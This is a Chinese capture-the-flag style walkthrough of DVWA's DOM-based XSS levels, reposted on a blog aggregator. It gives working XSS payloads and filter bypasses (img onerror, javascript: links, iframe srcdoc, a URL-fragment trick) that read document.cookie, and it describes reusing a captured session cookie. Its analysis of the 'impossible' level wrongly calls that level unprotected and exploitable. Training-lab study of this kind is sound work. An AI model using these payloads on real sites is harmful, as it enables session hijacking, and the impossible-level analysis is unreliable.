DVWA靶场通关——DOM型XSS漏洞

一、DOM型XSS攻击概述

DOM型XSS(DOM-based Cross-Site Scripting,DOM XSS)是一种跨站脚本攻击(XSS)的变种,它与传统的反射型XSS(Reflected XSS)或存储型XSS(Stored XSS)有所不同,主要是发生在客户端(浏览器端),并且依赖于网页中动态的文档对象模型(DOM)结构。

二,什么是DOM

文档对象模型(DOM,Document Object Model)是一个编程接口,用于HTML和XML文档的处理和表示。它将文档视为一个由节点(node)组成的树形结构,其中每个节点代表文档的一部分,比如元素、属性、文本等。DOM使得开发者能够通过编程方式访问、修改、删除或添加文档中的内容和结构。

一、DOM的结构和组成

DOM是文档的“表示层”,将HTML或XML文档映射成一个树形结构,树的每个“分支”都是一个可以操作的对象。这个树形结构通常被称为DOM树。DOM树的每个节点代表文档中的一个元素或属性。

1. DOM树的节点类型

  • 文档节点(Document):表示整个文档,根节点。
  • 元素节点(Element):表示HTML或XML标签,如<div>、<p>、<a>等。
  • 文本节点(Text):表示元素标签中的文本内容。
  • 属性节点(Attribute):表示HTML元素的属性,如href、class、id等。
  • 注释节点(Comment):表示HTML或XML文档中的注释。

例如,考虑如下的HTML片段:

<html>
  <body>
    <h1>Welcome to my website</h1>
    <p>This is a paragraph of text.</p>
  </body>
</html>

这个文档会被表示为一个DOM树,根节点是<html>元素,下面是<body>元素,再下面有<h1>和<p>元素,而<h1>和<p>元素的文本内容则分别是"Welcome to my website"和"This is a paragraph of text"。

2. DOM树结构示例

Document
 └── html
      └── body
           ├── h1
           │    └── Text: "Welcome to my website"
           └── p
                └── Text: "This is a paragraph of text."

二、DOM的工作原理

DOM为浏览器提供了一个可以动态操作HTML和XML文档的接口。当网页加载到浏览器时,浏览器会把HTML文档解析成一个DOM对象模型。开发者可以通过JavaScript来操作这个DOM,进而动态修改网页内容。

1. 如何访问和操作DOM

开发者可以通过JavaScript访问和操作DOM树中的节点。例如:

  • 访问元素:使用document.getElementById()、document.getElementsByClassName()、document.querySelector()等方法来获取页面中的元素。
  • 修改元素内容:使用innerHTML、textContent等属性修改元素的内容。
  • 添加或删除节点:使用appendChild()、removeChild()、createElement()等方法动态地添加、删除或创建新的节点。

// 获取ID为"header"的元素
var header = document.getElementById("header");

// 修改该元素的文本内容
header.textContent = "Welcome to My Page";

// 创建新的段落元素并添加到文档中
var newParagraph = document.createElement("p");
newParagraph.textContent = "This is a new paragraph.";
document.body.appendChild(newParagraph);

2. DOM事件处理

DOM不仅允许开发者操作文档的结构和内容,还支持对用户操作的响应。JavaScript可以监听DOM元素的事件(如点击、输入、悬停等),并根据事件触发的情况执行相应的代码。

例如:

// 监听按钮的点击事件
document.getElementById("myButton").addEventListener("click", function() {
  alert("Button clicked!");
});

三、DOM与浏览器的关系

当用户访问网页时,浏览器会首先下载HTML文档,并将其解析成DOM树。浏览器的渲染引擎会基于这个DOM树构建网页的布局和渲染内容,并将结果显示在用户的屏幕上。

  • 渲染过程:当浏览器解析HTML时,它会生成DOM树,并结合CSS样式规则来计算每个元素的位置、大小等布局信息。这一过程通常被称为“渲染”。
  • 动态更新:通过JavaScript操作DOM后,浏览器会重新计算页面的样式、布局,可能会导致页面的重新渲染。这也解释了为什么修改DOM的操作通常会影响页面的显示效果,甚至可能导致性能问题。

三、DOMXSS的工作原理

DOM型XSS与其他类型的XSS的区别在于,攻击发生的地方不是服务器端,而是客户端的浏览器。具体来说,攻击者利用网页中的客户端JavaScript代码,注入恶意脚本并执行。这通常依赖于某些网页上不安全地使用DOM API(如document.write()、innerHTML、eval()等)来动态生成和插入内容,或者是使用不当的JavaScript事件处理(如onmouseover、onclick等)。

1. 攻击过程

  • 触发点:用户访问受害网站,网站的JavaScript脚本会读取URL参数、Hash值或某些DOM元素(如输入框、URL、cookies等)的内容,并将其嵌入到页面中。
  • 注入恶意代码:攻击者通过特制的URL或通过其他方式将恶意脚本注入到这些可控内容中(例如,将恶意JavaScript代码嵌入URL的查询参数、哈希部分、HTTP头等)。
  • 脚本执行:受害者浏览器中的客户端JavaScript代码会将这些内容插入到网页中,导致恶意脚本在浏览器上执行。

2. DOM XSS的触发点

DOM XSS通常涉及以下几种常见情况:

  • URL中的数据:网页可能会从URL中获取数据,并通过document.location、window.location等JavaScript属性对其进行处理。
  • 哈希值:一些网页可能会从URL的哈希部分(即#后面的部分)读取信息,并且将其插入到页面中。
  • 浏览器历史记录:通过修改浏览器的历史记录,攻击者可以操控页面内容。
  • DOM事件:通过在输入框、按钮等表单元素上触发特定的事件,恶意脚本可能会执行。
  • JavaScript操作DOM元素:当用户输入的信息被动态插入到DOM中,并且没有经过适当的验证或转义时,就可能触发DOM XSS。

3. 漏洞示例

假设一个网页允许用户通过URL的查询参数来修改网页的内容:

<html>
    <body>
        <div id="output"></div>
        <script>
            var userInput = new URLSearchParams(window.location.search).get('input');
            document.getElementById('output').innerHTML = userInput;
        </script>
    </body>
</html>

如果攻击者访问以下URL:

http://example.com/?input=<script>alert('XSS')</script>

那么页面中的<script>标签会被插入并执行,从而触发XSS攻击。

四、DOM型XSS的特点

  1. 客户端发生:DOM型XSS攻击完全发生在客户端,攻击者利用了客户端JavaScript代码的漏洞。与传统的反射型或存储型XSS不同,DOM型XSS不依赖于服务器端的漏洞。
  2. 依赖DOM操作:攻击利用了DOM API或JavaScript方法的错误使用,通常涉及不安全地插入来自用户输入的数据。
  3. 难以检测:由于攻击在客户端发生,传统的XSS检测工具通常难以发现DOM型XSS。它更难通过传统的服务器端日志或输入验证来发现。
  4. 依赖于浏览器的行为:由于DOM型XSS攻击发生在浏览器端,因此它的触发和执行完全依赖于浏览器如何处理JavaScript代码。

五、DOM型XSS的防护措施

  1. 避免直接插入用户输入:避免使用innerHTML、document.write()等方法直接将用户输入插入到DOM中。可以使用textContent或createTextNode等更安全的方法来插入用户输入。
  2. 对用户输入进行适当的转义:确保所有来自用户的输入数据都经过适当的转义,特别是HTML、JavaScript和URL的特殊字符(如<、>、&、"、'等)。
  3. 内容安全策略(CSP):配置CSP头,限制外部脚本和不受信任的脚本执行。这可以有效防止恶意脚本在页面上执行。
  4. 使用框架和库的安全方法:许多现代JavaScript框架(如React、Angular等)提供了对DOM操作的抽象层,自动对用户输入进行转义和防止XSS攻击,使用这些框架可以减少DOM XSS的风险。
  5. 限制JavaScript执行权限:避免使用危险的JavaScript方法,如eval()、setTimeout()、setInterval(),这些方法可能执行不受信任的代码。
  6. 安全的URL参数解析:避免直接使用URL中的参数生成动态内容,或者使用参数值时务必进行严格的验证和过滤。
  7. 输入验证和编码:对于所有从用户获取的数据,应进行严格的验证和编码,特别是在插入到页面的HTML中时。

一,low难度下的DOMXSS漏洞

1,观察靶场,其通过一个下拉的表单提交GET请求选择,将选择的内容发送给服务端。其核心利用参数就是?default=

2,通过hackbar实现XSS攻击,这里构造一个最简单的payload,测试有无XSS漏洞,payload:<script>alert("XSS_DOM")</script>

<script>标签:这段代码首先是一个标准的 <script> 标签,它的作用是执行其中的 JavaScript 代码。攻击者可以通过注入这种标签来执行任意的 JavaScript 代码。

alert("XSS_DOM"):这是 JavaScript 的一个 alert 函数调用,它会弹出一个对话框,显示 XSS_DOM 字符串。在实际攻击中,攻击者可能会修改这段代码,使其执行恶意操作,如窃取用户的敏感数据或在页面上插入恶意脚本。

3,既然这是一个javascript的DOM型XSS攻击语句,那么这个语句应该会被插入当前的网页当中,验证一下:

4,XSS攻击最主流的用法之一就是窃取cookie这里复现一下,payload:<script>alert(document.cookie)</script>

5,拿着这个cookie就可以去免密登录该网站了

PHPSESSID=5t6gpsnhl93cvp3j0rfjlcab04; security=low

DOM Based XSS 的特点:

  • DOM-based XSS 是一种特别的 反射型 XSS,其中 JavaScript 脚本隐藏在 URL 中,页面在渲染时通过 JavaScript 动态地提取这些脚本,而不是在服务器端直接嵌入到页面中。
  • 这种攻击方式比其他类型的 XSS 更隐蔽,因为它依赖于客户端的 JavaScript 在页面渲染过程中执行恶意代码,防火墙(WAF)等安全机制无法检测到恶意内容。

low靶场源码进行分析

网页部分index.php的分析:

  • 这个 PHP 页面模拟了一个存在 DOM-Based XSS 漏洞的网页。它通过动态生成语言选项来展示漏洞,攻击者可以通过修改 URL 中的参数来注入恶意 JavaScript 代码。
  • 主要漏洞点:
    • document.location.href.indexOf("default=") 读取并渲染 URL 中的参数,直接在页面中生成 <option> 元素。如果攻击者能够控制 default 参数的值,就能注入恶意的 <script> 标签或其他 JavaScript 代码。
  • 攻击示例
    • 攻击者可能构造如下 URL:http://example.com/vulnerabilities/xss_d/?default=<script>alert(1)</script>,通过这个 URL,可以注入并执行 JavaScript 代码,导致跨站脚本攻击

low.php部分:

<?php

# No protections, anything goes

?>

没有任何保护措施

注释 # No protections, anything goes 直接表明了这段代码没有任何安全机制。通常,在开发过程中,注释会帮助开发者或其他人员理解代码的意图,这里清晰地说明了这段代码未做任何保护。

这种写法提示该文件可能在实际环境中作为测试或实验代码出现,可能并不考虑正式的安全措施。

潜在的安全风险

跨站脚本攻击 (XSS):如果这个页面在某种程度上处理用户输入并将其输出到 HTML 页面(例如:接收 GET 或 POST 请求),而没有经过适当的输入验证、过滤和编码处理,攻击者可以通过恶意输入执行 JavaScript 代码,导致 XSS 攻击。攻击者可以利用这种漏洞窃取用户的敏感信息(如 cookies、会话标识符等)。

SQL 注入 (SQLi):如果这个页面涉及数据库查询,并且没有对用户输入进行验证和清洗,可能会受到 SQL 注入 攻击,攻击者可以通过注入恶意 SQL 语句来获取数据库内容,甚至执行任意数据库操作。

命令注入:如果这个页面执行系统命令而不加验证,也可能受到 命令注入 攻击。攻击者可以通过操纵输入,执行操作系统上的任意命令。

文件上传漏洞:如果页面涉及文件上传,且没有对文件类型、大小和内容的验证,可能导致恶意文件上传攻击,攻击者可以上传恶意脚本文件或病毒,危及服务器安全。

跨站请求伪造 (CSRF):如果页面存在涉及状态更改的操作(如修改密码、删除内容等),而没有对请求进行适当的防护(例如 CSRF token),攻击者可以利用该漏洞执行伪造的操作,导致用户的会话受到攻击。

缺乏基本的输入验证和输出编码

正如注释所说,没有任何保护措施,意味着所有输入都会直接进行处理和展示,且没有经过过滤或转义。这是一个非常糟糕的设计,容易导致多种 Web 安全漏洞(例如:XSS、SQL 注入等)。

没有进行身份验证和授权

没有看到任何身份验证(如登录检查)或授权控制。这意味着任何人都可以访问该页面,导致潜在的权限滥用问题。

二,medium难度下的DOMXSS漏洞

1,还是通过url传入get请求,漏洞利用点在?default=后面,尝试判断一下有无漏洞,payload:<script>alert('XSS')<script>

2,观察到执行之后没有效果,而且代码也没有被插入到前端页面当中,说明过滤了<script>标签以实现对网站的防御。

3,那么就需要使用其他手段绕过从而利用漏洞:

1. 使用事件处理器(例如:onerror, onclick, onload)

  • 如果页面允许通过某些 HTML 元素插入自定义内容(如图片、链接等),攻击者可以利用事件处理器来执行恶意脚本,而无需使用 <script> 标签。

paylaod

English</option></select><img src = 1 onerror = alert(document.cookie)>

  • 这里,攻击者可以构造一个 img 元素,当图片加载失败时触发 onerror 事件,从而执行 JavaScript 代码。

2. 利用 javascript: 协议

  • 如果该网站允许输入链接(如 <a href> 或 window.location),可以通过
  • javascript: 协议来执行 JavaScript 代码,而无需 <script> 标签。

payload

English</option></select><a href="javascript:alert(document.cookie)">Click me</a>

通过这种攻击绕过方式,Click me点击就送cookie

3. 使用 eval() 或 setTimeout() / setInterval()

  • 如果攻击者能够控制一些字符串数据,可以通过 eval()setTimeout()setInterval() 来执行任意的 JavaScript 代码。

payload

eval("alert('XSS')");

或者:

setTimeout("alert('XSS')", 0);

4. 利用内联事件处理器(如 onmouseover, onfocus)

  • 许多 HTML 元素允许使用事件处理器来执行 JavaScript。例如,<input>, <div>, <button> 等元素都可以有 onfocus, onmouseover 等事件。

payload

English</option></select><div οnmοuseοver="alert(document.cookie)">Hover over me</div>

5. 使用 iframe 和 srcdoc

  • 在一些情况下,可以利用 <iframe> 元素的 srcdoc 属性将恶意 JavaScript 代码嵌
  • 入到页面中。

payload

English</option></select><iframe srcdoc="<script>alert(documet.cookie)</script>"></iframe>

这里通过 srcdoc 属性,攻击者能够将 JavaScript 注入到一个嵌入式的 iframe 中

6. 利用 Base64 编码或数据 URI

  • 一些浏览器允许将 JavaScript 代码通过 data: URI 或 Base64 编码的方式执行。

payload

<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA..." οnerrοr="eval(atob('YWxlcnQoJ1hTUycgY2hhbGxlbmdlISkpKk9lc3l6Ojo7Jykd'))">

7. 绕过过滤的技巧

  • 双重编码:某些过滤机制可能不处理被编码的内容,攻击者可以尝试使用 URL 编码、HTML 编码或其他形式的编码来绕过过滤。
  • 使用 &lt;script&gt;(HTML 编码)或者 %3Cscript%3E(URL 编码)替代 <script>,从而绕过过滤。

payload

<img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116))">

8. 利用 window.location 和 document.location

  • 如果攻击者能够修改页面的 window.location 或 document.location,则可以跳转到一个包含恶意 JavaScript 代码的 URL。

payload

window.location='javascript:alert("XSS")';

9. 使用 JavaScript 中的 String.fromCharCode() 来构建代码

  • 一些过滤可能会阻止某些关键字(例如 script),但可以使用 String.fromCharCode() 来动态地构建 JavaScript 代码,避免被过滤。

payload

String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62)

10.使用#对后端过滤恶意语句的机制进行绕过

  • # 号在 URL中的代表网页中的一个位置( url 中 # 后面的字符串是该位置的标识符)。使用#意味着其后面的语句不会被请求提交到服务端执行,但是#后面的javascript攻击是事实纯在的并且插入了前端页面中的

payload

http://127.0.0.1/DVWA-master/vulnerabilities/xss_d/index.php#?default=English<script>alert(document.cookie)</script>

5,虽然只成功了四种,但好歹窃取到了有效cookie,攻击者下一步就可以免密登录了

medium难度靶场分析其过滤机制

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
   
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

1. 检查用户输入:

  • 代码首先检查 $_GET['default'] 参数是否存在,并且其值不为 null。这意味着如果 default 参数存在且有值,代码会继续处理该参数。

关键代码:

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) )

2. 过滤 <script> 标签:

  • 代码通过 stripos() 函数检查 $_GET['default'] 中是否包含字符串 <script(不区分大小写)。stripos() 函数会返回该字符串在 $_GET['default'] 中第一次出现的位置,如果没有找到,则返回 false。
  • 如果找到了 <script,代码会通过 header() 函数重定向页面,将 default 参数的值设置为 "English",从而避免恶意脚本的执行。

关键代码:

if (stripos ($default, "<script") !== false) {
    header ("location: ?default=English");
    exit;
}

3. 漏洞分析:

虽然这段代码在某种程度上能够阻止 script 标签的使用,但它的过滤机制并不完备,并且存在多个绕过方式。

1. 过滤机制的不足之处:

  • 仅检查 <script 标签: 该过滤机制只检查了是否包含 <script 标签,并重定向页面,而没有考虑其他潜在的恶意代码,如:
    • <img>、<iframe>、<a> 等元素中的事件处理器(例如 onerror、onclick、onload 等),这些事件处理器也可能执行 JavaScript 代码。
    • 通过 JavaScript 执行的代码(例如:eval(), setTimeout() 等)。
  • 大小写问题: stripos() 函数是不区分大小写的,这对防止基本的 <script> 标签注入有效,但如果攻击者使用了一些稍微不同的变体(例如,<ScRiPt> 或 &lt;script&gt;),可能仍然能绕过过滤。

二,high难度下的DOMXSS漏洞

1,尝试medium难度的绕过方法,payload:

English</option></select><img src = 1 onerror = alert(document.cookie)>

没有任何效果

2,查帮助信息:

High Level

The developer is now white listing only the allowed languages, you must find a way to run your code without it going to the server.

开发者现在只允许白名单中的语言,你必须找到一种方法,使得你的代码在不发送到服务器的情况下运行。

3,我们知道javaScript 是一种广泛应用于前端开发的编程语言,通常用于增强网页的互动性和动态效果。那么javascript如果只插入到前端。而没有进入后端也是一样可以用于XSS攻击的。根据提示,我们可以使用注释符(和medium靶场第10种方法异曲同工之妙),也就是让注释符后面的攻击语句插入前端,而不在后端执行,后端只要没有检测到这个攻击语句,这个攻击语句就可以正常攻击,payload:

English #<script>alert(document.cookie)</script>

前端页面也是能够查找到攻击语句的

对网站源码进行分析:

<?php

// Is there any input?

if ( array_key_exists"default"$_GET ) && !is_null ($_GET'default' ]) ) {

    # White list the allowable languages

    switch ($_GET['default']) {

        case "French":

        case "English":

        case "German":

        case "Spanish":

            # ok

            break;

        default:

            header ("location: ?default=English");

            exit;

    }

}

?>

1. 输入验证:

  • 代码通过 array_key_exists("default", $_GET) 来检查是否存在 default 参数,并且使用 !is_null($_GET['default']) 来确保 default 参数的值不是 null。这一点有助于防止空值攻击。
  • 接着,代码使用 switch 语句对 default 参数的值进行白名单检查,仅允许 "French", "English", "German", "Spanish" 这四种语言。如果参数的值不在这个列表中,代码将通过 header("location: ?default=English") 进行重定向,将默认值设置为 English。

2. 防止 XSS(跨站脚本攻击):

  • 从代码中看,并没有直接输出用户输入的数据,因此,虽然存在用户输入参数($_GET['default']),但并没有在 HTML 输出中直接使用这个值,因此暂时看不到明显的跨站脚本攻击风险。
  • 然而,如果代码存在其他部分(如将 $_GET['default'] 的值输出到页面时),需要对输出做适当的 HTML 编码以防止 XSS。

3. 防止开放重定向(Open Redirection):

  • 代码使用了 header("location: ?default=English") 对不在白名单中的参数值进行重定向。由于目标 URL 是相对 URL,且始终指向 ?default=English,因此避免了开放重定向问题。开放重定向通常是指攻击者利用系统中的重定向机制,将用户引导到恶意网站,而该代码的设计避免了这一风险。

4. 防止参数篡改:

  • 通过严格限制 default 参数的值(白名单机制),代码防止了不符合预期的参数值。即使攻击者尝试通过 URL 传入一个非法值(如 default=malicious_code),系统会自动将其重定向到 default=English,这避免了恶意输入的执行。

5. 默认安全策略:

  • 代码默认设置为 English,并在无效输入时重定向回这个默认值。这是一个很好的安全策略,确保在参数错误或恶意输入时,系统不会崩溃或暴露潜在的安全漏洞。

四,impossible难度下靶场代码审计,分析其安全机制

<?php

# Don't need to do anything, protection handled on the client side

?>

相关的防护工作已经在客户端实现,因此服务器端不需要执行额外的操作。那么我们来看看前端有什么防御机制

1. 代码结构和流程分析:

首先看一下主要的控制流:

  • 通过 dvwaSecurityLevelGet() 获取当前的安全等级(low, medium, high, impossible)。
  • 根据安全等级的不同,加载不同的漏洞文件,如 low.php, medium.php, high.php 等。
  • 如果安全等级是 impossible,则 vulnerabilityFile 设置为 'impossible.php',并且此时不会对 URL 参数做解码。

2. 前端 JavaScript 防御机制:

在表单生成部分有一段 JavaScript 代码,关键部分如下:

<script>
    if (document.location.href.indexOf("default=") >= 0) {
        var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
        document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
        document.write("<option value='' disabled='disabled'>----</option>");
    }

document.write("<option value='English'>English</option>");
    document.write("<option value='French'>French</option>");
    document.write("<option value='Spanish'>Spanish</option>");
    document.write("<option value='German'>German</option>");
</script>

分析:

  • 获取 URL 参数:
    • 如果 URL 中包含 default= 参数,脚本会从 document.location.href 中提取该参数的值,并将其作为 select 表单中的一个选项,显示给用户。
  • 对 lang 进行处理:
    • 代码中使用 $decodeURI(lang) 进行解码。这里的 $decodeURI 会在不同的安全等级下产生不同的行为。
      • 在 impossible.php 难度下,$decodeURI 会被清空,表示不对 URL 参数进行解码。
      • 这意味着在 impossible 难度下,如果攻击者注入了恶意的 JavaScript 代码在 URL 中,且没有被解码,那么这段代码可能会被当作 HTML 或 JavaScript 执行,导致 XSS 漏洞的发生。
  • 默认安全性:
    • 在 impossible.php 难度下,URL 参数未经过解码,这意味着如果用户提供的 default 参数中包含恶意的 JavaScript 代码,可能会直接注入并执行。这实际上是在模拟“不可防御”或“不可修复”级别的漏洞,使得攻防之间的差距变得更加明显。

3. impossible.php 防御策略:

从代码可以推测,在 impossible.php 难度下,系统采用了一种非常严格的“没有保护”模式,允许攻击者在 URL 中注入潜在的恶意代码,从而加深了 XSS 攻击的难度和挑战。

  • 缺少防护:
    • 在 impossible.php 难度下,系统选择完全不进行任何防护措施,也不解码 URL 参数。这意味着它依赖于开发者或渗透测试者主动修复漏洞,而不是系统自动防御。
  • 漏洞利用:
    • 攻击者可以通过传递恶意的 default 参数值,如:
      ?default=<script>alert('XSS')</script>
    • 由于没有进行解码,攻击者提供的脚本代码将直接嵌入到 HTML 中并执行,导致 DOM Based XSS 漏洞的发生。

4. 总结:

  • 在 impossible.php 难度下,最明显的特点是没有任何保护机制,系统故意让攻击者能够利用这个漏洞。这使得渗透测试人员能够轻松地验证 DOM XSS 漏洞,并且模拟一个无法修复的环境。
  • 在这种环境下,开发者需要通过一些常见的 XSS 防御机制来解决漏洞,如:
    • URL 编码: 确保对 URL 参数进行正确的编码和解码。
    • JavaScript 输入验证: 对用户输入(如 default 参数值)进行严格的验证,确保只允许合法的字符。
    • 动态内容输出时的转义: 确保在 HTML 和 JavaScript 中输出的动态内容(如 lang 参数)被适当转义,以防止恶意脚本执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/483074.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

flink学习(14)—— 双流join

概述 Join:内连接 CoGroup&#xff1a;内连接&#xff0c;左连接&#xff0c;右连接 Interval Join&#xff1a;点对面 Join 1、Join 将有相同 Key 并且位于同一窗口中的两条流的元素进行关联。 2、Join 可以支持处理时间&#xff08;processing time&#xff09;和事件时…

设计模式——Facade(门面)设计模式

摘要 本文介绍了外观设计模式&#xff0c;这是一种通过简单接口封装复杂系统的设计模式。它简化了客户端与子系统之间的交互&#xff0c;降低了耦合度&#xff0c;并提供了统一的调用接口。文章还探讨了该模式的优缺点&#xff0c;并提供了类图实现和使用场景。 1. 外观设计模…

泷羽sec-burp功能介绍(1) 学习笔记

声明&#xff01; 学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下&#xff0c;如涉及侵权马上删除文章&#xff0c;笔记只是方便各位师傅的学习和探讨&#xff0c;文章所提到的网站以及内容&#xff0c;只做学习交流&#xff0c;其他均与本人以及泷羽sec团队无关&a…

技术创新与人才培养并重 软通动力子公司鸿湖万联亮相OpenHarmony人才生态大会

11月27日&#xff0c;由开放原子开源基金会指导&#xff0c;OpenHarmony项目群工作委员会主办的OpenHarmony人才生态大会2024在武汉隆重举办。软通动力子公司鸿湖万联作为OpenHarmony项目群A类捐赠人应邀出席。大会期间&#xff0c;鸿湖万联不仅深度参与了OpenHarmony人才生态年…

简单快速的上手python

前言 python是一门可以快速上手的语言&#xff0c;原因是它语法简单&#xff0c;api容易使用自由灵活 当我们需要安装任何的三方库时&#xff0c;只需要执行 pip install XX 之后在代码里面import xxx就可以使用python啦。 并且python的代码自由灵活&#xff0c;使用缩进区…

【算法刷题指南】优先级队列

&#x1f308;个人主页&#xff1a; 南桥几晴秋 &#x1f308;C专栏&#xff1a; 南桥谈C &#x1f308;C语言专栏&#xff1a; C语言学习系列 &#x1f308;Linux学习专栏&#xff1a; 南桥谈Linux &#x1f308;数据结构学习专栏&#xff1a; 数据结构杂谈 &#x1f308;数据…

[241129] Docker Desktop 4.36 发布:企业级管理功能、WSL 2 增强 | Smile v4.0.0 发布

目录 Docker Desktop 4.36 发布&#xff1a;企业级管理功能、WSL 2 和 ECI 增强Smile v4.0.0 发布&#xff01;Java 机器学习库迎来重大升级 Docker Desktop 4.36 发布&#xff1a;企业级管理功能、WSL 2 和 ECI 增强 Docker Desktop 4.36 带来了强大的更新&#xff0c;简化了…

vue3+typescript自定义input组件

官方文档&#xff1a;https://cn.vuejs.org/guide/components/events#%E5%AE%9A%E4%B9%89%E8%87%AA%E5%AE%9A%E4%B9%89%E4%BA%8B%E4%BB%B6 触发与监听事件​ 在组件的模板表达式中&#xff0c;可以直接使用 $emit 方法触发自定义事件 (例如&#xff1a;在 v-on 的处理函数中)…

HarmonyOS4+NEXT星河版入门与项目实战(23)------实现手机游戏摇杆功能

文章目录 1、案例效果2、案例实现1、代码实现2、代码解释4、总结1、案例效果 2、案例实现 1、代码实现 代码如下(示例): import router from @ohos.router import {ResizeDirection } from @ohos.UiTest import curves

Qt的定时器应用案例 || Qt的图片添加显示

目录 1.ui界面 2.头文件 3.cpp源文件 4.main文件 5.关于ui_mytimerevent.h的代码编译错误 6.图片的添加展示方式 7.结果展示 8.参考文章 1.ui界面 2.头文件 #ifndef MYTIMEREVENT_H #define MYTIMEREVENT_H#include <QMainWindow> #include <QTime> //#in…

【大数据学习 | Spark-SQL】关于RDD、DataFrame、Dataset对象

1. 概念&#xff1a; RDD&#xff1a; 弹性分布式数据集&#xff1b; DataFrame&#xff1a; DataFrame是一种以RDD为基础的分布式数据集&#xff0c;类似于传统数据库中的二维表格。带有schema元信息&#xff0c;即DataFrame所表示的二维表数据集的每一列都带有名称和类型…

分布式集群下如何做到唯一序列号

优质博文&#xff1a;IT-BLOG-CN 分布式架构下&#xff0c;生成唯一序列号是设计系统常常会遇到的一个问题。例如&#xff0c;数据库使用分库分表的时候&#xff0c;当分成若干个sharding表后&#xff0c;如何能够快速拿到一个唯一序列号&#xff0c;是经常遇到的问题。实现思…

53 基于单片机的8路抢答器加记分

目录 一、主要功能 二、硬件资源 三、程序编程 四、实现现象 一、主要功能 首先有三个按键 分别为开始 暂停 复位&#xff0c;然后八个选手按键&#xff0c;开机显示四条杠&#xff0c;然后按一号选手按键&#xff0c;数码管显示&#xff13;&#xff10;&#xff0c;这…

深度学习基础03_BP算法(下)过拟合和欠拟合

目录 一、BP算法(下) 0、反向传播代码回顾 写法一&#xff1a; 写法二(更常用)&#xff1a; 1、BP中的梯度下降 1.数学描述 2.传统下降方式 3.优化梯度下降方式 指数加权平均 Momentum AdaGrad RMSProp Adam(常用) 总结 二、过拟合和欠拟合 1、概念 1.过拟合 …

WPF+MVVM案例实战与特效(三十)- 封装一个系统日志显示控件

文章目录 1、运行效果2、日志控件封装1、文件创建2、DisplayLogPanel.xaml 代码3、DisplayLogPanel.cs 代码4、数据模型5、枚举类型3、自定义控件使用1、LogPanelWindow.xaml2、LogPanelViewModel.cs4、总结1、运行效果 2、日志控件封装 1、文件创建 打开 Wpf_Examples ,在 …

Ubuntu 20.04 Server版连接Wifi

前言 有时候没有网线口插网线或者摆放电脑位置不够时&#xff0c;需要用Wifi联网。以下记录Wifi联网过程。 环境&#xff1a;Ubuntu 20.04 Server版&#xff0c;无UI界面 以下操作均为root用户&#xff0c;如果是普通用户&#xff0c;请切换到root用户&#xff0c;或者在需要权…

计算机网络:IP协议详细讲解

目录 前言 一、IP网段划分 二、IP报头 三、解决IP地址不足-->NAT技术 前言 在之前&#xff0c;我们学习了传输层中的TCP和UDP&#xff0c;重点是TCP协议&#xff0c;他帮我们解决具体到主机的哪个应用&#xff08;端口&#xff09;、传输的可靠&#xff08;序列号、校验和…

基于大数据python 电商数据分析及推荐可视化系统(源码+LW+部署讲解+数据库+ppt)

&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01; 很对人不知道选题怎么选 不清楚自己适合做哪块内容 都可以免费来问我 避免后期給自己答辩找麻烦 增加难度&#xff08;部分学校只有一次答辩机会 没弄好就延迟…

三种方式(oss、本地、minio)图片的上传下载

一、OSS 1、前期准备 1.1 注册阿里云账号&#xff0c;开启对象存储oss功能&#xff0c;创建一个bucket&#xff08;百度教程多的是&#xff0c;跟着创建一个就行&#xff0c;创建时注意存储类型是标准存储&#xff0c;读写权限是公共读&#xff09; 有的在创建桶时读写属性是…

Z2400032基于Java+Mysql+SSM的校园在线点餐系统的设计与实现 代码 论文

在线点餐系统 1.项目描述2. 技术栈3. 项目结构后端前端 4. 功能模块5. 项目实现步骤注意事项 6.界面展示7.源码获取 1.项目描述 本项目旨在开发一个校园在线点餐系统&#xff0c;通过前后端分离的方式&#xff0c;为在校学生提供便捷的餐厅点餐服务&#xff0c;同时方便餐厅和…